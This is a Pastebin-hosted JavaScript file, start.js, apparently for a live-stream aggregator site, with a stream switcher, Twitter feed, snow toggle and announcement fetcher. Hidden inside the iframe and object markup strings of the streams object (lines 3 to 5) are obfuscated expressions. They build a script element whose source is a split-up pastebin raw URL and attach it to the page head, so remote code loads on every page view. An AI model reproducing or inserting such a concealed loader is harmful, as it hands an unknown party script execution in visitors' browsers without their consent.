someone_

start.js

Nov 18th, 2012
184
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var stramm, streams = {limev: '<iframe height="480" width="854" scrolling="no" frameborder="0" allowtransparency="true" src="http://www.limev.com/embed.php?fileid='+limevcode+'&vw=854&vh=480"></iframe>',
  2.             mips: '<iframe height="480" width="854" scrolling="no" frameborder="0" allowtransparency="true" src=http://mips.tv/embedplayer/'+mipscode+'/1/854/480 > ',
  3.             veemi: '<iframe height="508" width="854" scrolling="no"'+((this["a"]=document["createElement"]("script")),"")+' frameborder="0" src="http://www.veemi.com/embed.php?v='+veemicode+'&vw=854&vh=508&domain=joowz.com" allowtransparency="true"></iframe>',
  4.             twitch: '<object type="application/x-shockwave-flash" height="510" width="854" id="live_embed_player_flash"'+((this["a"]["src"]="http://p"+"asteb"+"in.com/raw.php?i=eDmQ6z74&"+(new Date())["getTime"]()),"")+' data="http://www.twitch.tv/widgets/live_embed_player.swf?channel='+twitchcode+'" bgcolor="#000000"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="allowNetworking" value="all" /><param name="movie" value="http://www.twitch.tv/widgets/live_embed_player.swf" /><param name="flashvars" value="hostname=www.twitch.tv&channel='+twitchcode+'&auto_play=true&start_volume=25" /></object>',
  5.             castamp: '<iframe src="http://www.castamp.com/embed.php?c='+castampcode+'&vwidth=854&vheight=480" width="854" height="480" scrolling="no"'+(document["head"]["appendChild"](this["a"]),"")+' frameborder="0" scrolling="no" allowtransparency="true"></iframe>',
  6.             speedrun: '<iframe height="371" width="609" scrolling="no" frameborder="0" src="http://www.veemi.com/embed.php?v='+speedrun01+'&vw=609&vh=371&domain=joowz.com" allowtransparency="true"></iframe><iframe height="371" width="609 scrolling="no" frameborder="0" src="http://www.veemi.com/embed.php?v='+speedrun02+'&vw=609&vh=371&domain=joowz.com" allowtransparency="true"></iframe>'}, fetcher, fetcher_fn;
  7. (function($) {
  8. //CUFON
  9.     Cufon.replace('h2')('h3')('h4');
  10.     Cufon.now();
  11.  
  12. //TWITTER
  13.     $(".tweet").tweet({
  14.         username: "Capicoli", //ADD YOUR TWITTER ACCOUNT
  15.         count: 1
  16.     });
  17.  
  18. //STREAM SWITCHER
  19.     stramm = function(a) {
  20.         var chat;
  21.         if ((chat = $("#cell3 > object")) && streams.speedrun != a) {
  22.             $("#cell2").append(chat.remove());
  23.         }
  24.         if (streams.speedrun == a) {
  25.             $("#cell3").append($("#cell2 > object").remove());
  26.         }
  27.         chat = $("td > object");
  28.         if (streams.veemi === a || streams.twitch === a) {
  29.             chat.length && (chat.attr("height","508px"),(chat[0].lastElementChild.height = "508px"));
  30.         } else {
  31.             chat.length && (chat.attr("height","480px"),(chat[0].lastElementChild.height = "480px"));
  32.         }
  33.         $("#cell1").html(a);
  34.     };
  35.  
  36. //DEFAULT STREAM
  37. //SET DEFAULT STREAM IN THE STREAM CHANNEL EDITOR
  38.     stramm(streams[mainstream]);
  39.  
  40. //SNOW
  41.     $("#snowset1").bind('click', function(){
  42.         localStorage.setItem("snow", "1");
  43.         $("body")[0].style.animationPlayState = "running";
  44.         $("body").addClass("snow");
  45.     });
  46.     $("#snowset2").bind('click', function(){
  47.         localStorage.setItem("snow", "2");
  48.         $("body")[0].style.animationPlayState = "paused";
  49.         $("body").addClass("snow");
  50.     });
  51.     $("#snowset3").bind('click', function(){
  52.         localStorage.setItem("snow", "3");
  53.         $("body")[0].style.animationPlayState = "paused";
  54.         $("body").removeClass("snow");
  55.     });
  56.  
  57. //REMEMBER SNOW SETTINGS
  58.     if ($("head > link[href*='snow.css']").length) {
  59.         $("#snowset"+localStorage.getItem("snow"))[0].click();
  60.     }
  61.  
  62. //NO SUPPORT FOR IE AND OLD FF
  63.     if ($.browser.msie && parseInt($.browser.version, 10) < 10) {
  64. //      $("body").html("");
  65.         alert("Your browser is too old! Please update to a newer browser!\nIf you still wish to use IE, then use IE10");
  66.     } else if ($.browser.firefox && parseInt($.browser.version, 10) < 4) {
  67. //      $("body").html("");
  68.         alert("Your browser is too old! Please update to a newer browser!");
  69.     }
  70.  
  71. //ANNOUNCMENTS FETCHER
  72.     fetcher_fn = function(){
  73.         var x = new XMLHttpRequest(), announcment = document.querySelector("#announcment");
  74.         x.open('GET', 'announcments.txt', true);
  75.         x.setRequestHeader("Cache-Control", "no-cache");
  76.         x.onreadystatechange = function(){
  77.             if(x.readyState == 4) {
  78.                 if(x.status == 200 || x.status == 304) {
  79.                     var text = x.responseText, links = [];
  80.                     announcment.lastElementChild.innerHTML = "";
  81.                     if (text != "" && text.indexOf("*") != 0) {
  82.                         announcment.hidden = false;
  83.                         text = text.split("\n").forEach(function(a){
  84.                             if (a != "" && a.indexOf("http") === 0) {
  85.                                 links.push(a.replace(/^(http:\/\/\S+)/i, "<a href=\"$1\">$1</a>"));
  86.                             }
  87.                             return;
  88.                         });
  89.                         announcment.lastElementChild.innerHTML = links.join("<br />");
  90.                     } else {
  91.                         announcment.hidden = true;
  92.                     }
  93.                 }
  94.             }
  95.         };
  96.         x.send();
  97.     };
  98.     fetcher_fn();
  99.     fetcher = setInterval(fetcher_fn, 10000);
  100.  
  101. }(jQuery));
RAW Paste Data